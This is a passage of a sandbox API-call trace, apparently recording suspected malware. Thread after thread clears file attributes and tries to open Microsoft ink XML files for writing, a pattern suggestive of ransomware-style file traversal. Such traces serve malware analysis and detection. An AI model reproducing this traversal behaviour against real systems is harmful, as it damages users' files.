	[0083.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", dwFileAttributes=0x80) returned 0
	[0083.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.855] free (_Block=0x2f6e778) 
	[0083.855] RtlExitUserThread (Status=0x0) 

Thread:
	id = 164
	os_tid = 0x510

	[0083.856] _alloca_probe () returned 0x40328a
	[0083.857] GetCurrentThreadId () returned 0x510
	[0083.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", dwFileAttributes=0x80) returned 0
	[0083.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.858] free (_Block=0x2f6e778) 
	[0083.858] RtlExitUserThread (Status=0x0) 

Thread:
	id = 165
	os_tid = 0x36c

	[0083.862] _alloca_probe () returned 0x40328a
	[0083.862] GetCurrentThreadId () returned 0x36c
	[0083.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", dwFileAttributes=0x80) returned 0
	[0083.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.863] free (_Block=0x2f6f780) 
	[0083.863] RtlExitUserThread (Status=0x0) 

Thread:
	id = 166
	os_tid = 0xcd4

	[0083.865] _alloca_probe () returned 0x40328a
	[0083.865] GetCurrentThreadId () returned 0xcd4
	[0083.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", dwFileAttributes=0x80) returned 0
	[0083.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.865] free (_Block=0x2f70788) 
	[0083.865] RtlExitUserThread (Status=0x0) 

Thread:
	id = 167
	os_tid = 0x7f0

	[0083.867] _alloca_probe () returned 0x40328a
	[0083.867] GetCurrentThreadId () returned 0x7f0
	[0083.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", dwFileAttributes=0x80) returned 0
	[0083.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.868] free (_Block=0x2f6f780) 
	[0083.868] RtlExitUserThread (Status=0x0) 

Thread:
	id = 168
	os_tid = 0x7e4

	[0083.870] _alloca_probe () returned 0x40328a
	[0083.870] GetCurrentThreadId () returned 0x7e4
	[0083.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", dwFileAttributes=0x80) returned 0
	[0083.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.870] free (_Block=0x2f6f780) 
	[0083.870] RtlExitUserThread (Status=0x0) 

Thread:
	id = 169
	os_tid = 0x7b0

	[0083.878] _alloca_probe () returned 0x40328a
	[0083.878] GetCurrentThreadId () returned 0x7b0
	[0083.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", dwFileAttributes=0x80) returned 0
	[0083.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.878] free (_Block=0x2f6f780) 
	[0083.878] RtlExitUserThread (Status=0x0) 

Thread:
	id = 170
	os_tid = 0xd08

	[0083.880] _alloca_probe () returned 0x40328a
	[0083.880] GetCurrentThreadId () returned 0xd08
	[0083.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", dwFileAttributes=0x80) returned 0
	[0083.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.884] free (_Block=0x2f6f780) 
	[0083.884] RtlExitUserThread (Status=0x0) 

Thread:
	id = 171
	os_tid = 0xd04

	[0083.885] _alloca_probe () returned 0x40328a
	[0083.886] GetCurrentThreadId () returned 0xd04
	[0083.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", dwFileAttributes=0x80) returned 0
	[0083.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.886] free (_Block=0x2f70788) 
	[0083.886] RtlExitUserThread (Status=0x0) 

Thread:
	id = 172
	os_tid = 0xf64

	[0083.887] _alloca_probe () returned 0x40328a
	[0083.888] GetCurrentThreadId () returned 0xf64
	[0083.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", dwFileAttributes=0x80) returned 0
	[0083.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.888] free (_Block=0x2f6f780) 
	[0083.888] RtlExitUserThread (Status=0x0) 

Thread:
	id = 173
	os_tid = 0x778

	[0083.889] _alloca_probe () returned 0x40328a
	[0083.890] GetCurrentThreadId () returned 0x778
	[0083.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml", dwFileAttributes=0x80) returned 0
	[0083.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.891] free (_Block=0x2f6f780) 
	[0083.891] RtlExitUserThread (Status=0x0) 

Thread:
	id = 174
	os_tid = 0xd60

	[0083.892] _alloca_probe () returned 0x40328a
	[0083.893] GetCurrentThreadId () returned 0xd60
	[0083.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml", dwFileAttributes=0x80) returned 0
	[0083.893] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.893] free (_Block=0x2f70788) 
	[0083.893] RtlExitUserThread (Status=0x0) 

Thread:
	id = 175
	os_tid = 0x6dc

	[0083.895] _alloca_probe () returned 0x40328a
	[0083.895] GetCurrentThreadId () returned 0x6dc
	[0083.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml", dwFileAttributes=0x80) returned 0
	[0083.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.895] free (_Block=0x2f6f780) 
	[0083.896] RtlExitUserThread (Status=0x0) 

Thread:
	id = 176
	os_tid = 0xb68

	[0083.897] _alloca_probe () returned 0x40328a
	[0083.897] GetCurrentThreadId () returned 0xb68
	[0083.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml", dwFileAttributes=0x80) returned 0
	[0083.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.898] free (_Block=0x2f6f780) 
	[0083.898] RtlExitUserThread (Status=0x0) 

Thread:
	id = 177
	os_tid = 0xf4

	[0083.899] _alloca_probe () returned 0x40328a
	[0083.900] GetCurrentThreadId () returned 0xf4
	[0083.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", dwFileAttributes=0x80) returned 0
	[0083.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.900] free (_Block=0x2f70788) 
	[0083.900] RtlExitUserThread (Status=0x0) 

Thread:
	id = 178
	os_tid = 0x1170

	[0083.902] _alloca_probe () returned 0x40328a
	[0083.902] GetCurrentThreadId () returned 0x1170
	[0083.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml", dwFileAttributes=0x80) returned 0
	[0083.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.903] free (_Block=0x2f70788) 
	[0083.903] RtlExitUserThread (Status=0x0) 

Thread:
	id = 179
	os_tid = 0x117c

	[0083.904] _alloca_probe () returned 0x40328a
	[0083.905] GetCurrentThreadId () returned 0x117c
	[0083.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", dwFileAttributes=0x80) returned 0
	[0083.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.905] free (_Block=0x2f70788) 
	[0083.905] RtlExitUserThread (Status=0x0) 

Thread:
	id = 180
	os_tid = 0xe4c

	[0083.907] _alloca_probe () returned 0x40328a
	[0083.907] GetCurrentThreadId () returned 0xe4c
	[0083.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", dwFileAttributes=0x80) returned 0
	[0083.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.908] free (_Block=0x2f71790) 
	[0083.908] RtlExitUserThread (Status=0x0) 

Thread:
	id = 181
	os_tid = 0xd4c

	[0083.909] _alloca_probe () returned 0x40328a
	[0083.910] GetCurrentThreadId () returned 0xd4c
	[0083.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", dwFileAttributes=0x80) returned 0
	[0083.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.911] free (_Block=0x2f70788) 
	[0083.911] RtlExitUserThread (Status=0x0) 

Thread:
	id = 182
	os_tid = 0xd18

	[0083.912] _alloca_probe () returned 0x40328a
	[0083.913] GetCurrentThreadId () returned 0xd18
	[0083.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml", dwFileAttributes=0x80) returned 0
	[0083.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.913] free (_Block=0x2f70788) 
	[0083.913] RtlExitUserThread (Status=0x0) 

Thread:
	id = 183
	os_tid = 0xddc

	[0083.917] _alloca_probe () returned 0x40328a
	[0083.918] GetCurrentThreadId () returned 0xddc
	[0083.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml", dwFileAttributes=0x80) returned 0
	[0083.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.918] free (_Block=0x2f71790) 
	[0083.919] RtlExitUserThread (Status=0x0) 

Thread:
	id = 184
	os_tid = 0xfa0

	[0083.920] _alloca_probe () returned 0x40328a
	[0083.921] GetCurrentThreadId () returned 0xfa0
	[0083.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", dwFileAttributes=0x80) returned 0
	[0083.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.921] free (_Block=0x2f71790) 
	[0083.921] RtlExitUserThread (Status=0x0) 

Thread:
	id = 185
	os_tid = 0x1244

	[0083.926] _alloca_probe () returned 0x40328a
	[0083.927] GetCurrentThreadId () returned 0x1244
	[0083.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", dwFileAttributes=0x80) returned 0
	[0083.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.928] free (_Block=0x2f72798) 
	[0083.928] RtlExitUserThread (Status=0x0) 

Thread:
	id = 186
	os_tid = 0x1194

	[0083.929] _alloca_probe () returned 0x40328a
	[0083.930] GetCurrentThreadId () returned 0x1194
	[0083.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", dwFileAttributes=0x80) returned 0
	[0083.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.930] free (_Block=0x2f72798) 
	[0083.930] RtlExitUserThread (Status=0x0) 

Thread:
	id = 187
	os_tid = 0xca4

	[0083.938] _alloca_probe () returned 0x40328a
	[0083.938] GetCurrentThreadId () returned 0xca4
	[0083.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", dwFileAttributes=0x80) returned 0
	[0083.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.939] free (_Block=0x2f737a0) 
	[0083.939] RtlExitUserThread (Status=0x0) 

Thread:
	id = 188
	os_tid = 0x348

	[0083.940] _alloca_probe () returned 0x40328a
	[0083.941] GetCurrentThreadId () returned 0x348
	[0083.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", dwFileAttributes=0x80) returned 0
	[0083.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.941] free (_Block=0x2f737a0) 
	[0083.941] RtlExitUserThread (Status=0x0) 

Thread:
	id = 189
	os_tid = 0xefc

	[0083.965] _alloca_probe () returned 0x40328a
	[0083.965] GetCurrentThreadId () returned 0xefc
	[0083.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", dwFileAttributes=0x80) returned 0
	[0083.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.966] free (_Block=0x2f747a8) 
	[0083.966] RtlExitUserThread (Status=0x0) 

Thread:
	id = 190
	os_tid = 0xf44

	[0083.969] _alloca_probe () returned 0x40328a
	[0083.969] GetCurrentThreadId () returned 0xf44
	[0083.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", dwFileAttributes=0x80) returned 0
	[0083.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.970] free (_Block=0x2f747a8) 
	[0083.970] RtlExitUserThread (Status=0x0) 

Thread:
	id = 191
	os_tid = 0x1340

	[0083.974] _alloca_probe () returned 0x40328a
	[0083.975] GetCurrentThreadId () returned 0x1340
	[0083.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", dwFileAttributes=0x80) returned 0
	[0083.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.975] free (_Block=0x2f757b0) 
	[0083.975] RtlExitUserThread (Status=0x0) 

Thread:
	id = 192
	os_tid = 0xfb0

	[0083.977] _alloca_probe () returned 0x40328a
	[0083.977] GetCurrentThreadId () returned 0xfb0
	[0083.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", dwFileAttributes=0x80) returned 0
	[0083.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.978] free (_Block=0x2f757b0) 
	[0083.978] RtlExitUserThread (Status=0x0) 

Thread:
	id = 193
	os_tid = 0xfb4

	[0083.984] _alloca_probe () returned 0x40328a
	[0083.984] GetCurrentThreadId () returned 0xfb4
	[0083.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", dwFileAttributes=0x80) returned 0
	[0083.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.985] free (_Block=0x2f767b8) 
	[0083.985] RtlExitUserThread (Status=0x0) 

Thread:
	id = 194
	os_tid = 0xc2c

	[0083.986] _alloca_probe () returned 0x40328a
	[0083.987] GetCurrentThreadId () returned 0xc2c
	[0083.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", dwFileAttributes=0x80) returned 0
	[0083.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.987] free (_Block=0x2f767b8) 
	[0083.987] RtlExitUserThread (Status=0x0) 

Thread:
	id = 195
	os_tid = 0x1148

	[0083.989] _alloca_probe () returned 0x40328a
	[0083.989] GetCurrentThreadId () returned 0x1148
	[0083.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", dwFileAttributes=0x80) returned 0
	[0083.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.990] free (_Block=0x2f767b8) 
	[0083.990] RtlExitUserThread (Status=0x0) 

Thread:
	id = 196
	os_tid = 0xf88

	[0083.992] _alloca_probe () returned 0x40328a
	[0083.992] GetCurrentThreadId () returned 0xf88
	[0083.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", dwFileAttributes=0x80) returned 0
	[0083.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.992] free (_Block=0x2f767b8) 
	[0083.992] RtlExitUserThread (Status=0x0) 

Thread:
	id = 197
	os_tid = 0xf9c

	[0084.008] _alloca_probe () returned 0x40328a
	[0084.009] GetCurrentThreadId () returned 0xf9c
	[0084.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml", dwFileAttributes=0x80) returned 0
	[0084.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0084.010] free (_Block=0x2f7a7d8) 
	[0084.011] RtlExitUserThread (Status=0x0) 

Thread:
	id = 198
	os_tid = 0xfa4

	[0084.012] _alloca_probe () returned 0x40328a
	[0084.013] GetCurrentThreadId () returned 0xfa4
